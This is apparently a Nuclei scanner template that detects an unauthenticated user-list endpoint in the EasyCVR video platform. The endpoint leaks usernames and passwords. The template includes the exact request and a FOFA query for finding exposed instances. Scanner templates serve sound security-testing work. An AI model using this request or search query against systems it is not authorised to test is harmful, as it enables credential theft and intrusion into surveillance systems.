id: easycvr-user-info-disclosure

info:
  name: EasyCVR User - Information Disclosure
  author: dostghost
  severity: medium
  description: |
    The EasyCVR Video Management Platform is vulnerable to user information leakage. This template checks for exposed user information through the endpoint `/api/v1/userlist?pageindex=0&pagesize=10`.
  reference:
    - https://github.com/AboSteam/POPC/blob/main/EasyCVR%20%E8%A7%86%E9%A2%91%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E5%AD%98%E5%9C%A8%E7%94%A8%E6%88%B7%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
  metadata:
    fofa-query: title="EasyCVR"
  tags: exposure,easycvr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/userlist?pageindex=0&pagesize=10"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Username":'
          - 'Password":'
          - 'count":'
          - 'RoleName":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008aa47d08764a1001fbb3770271d7fc794cee87e331725734f7a6dac8e7fbf0bd02206d50ad388970b6b66a34c2e6201ec3fee37a876da06d729a86d833e721d7c264:922c64590222798bb761d5b6d8e72950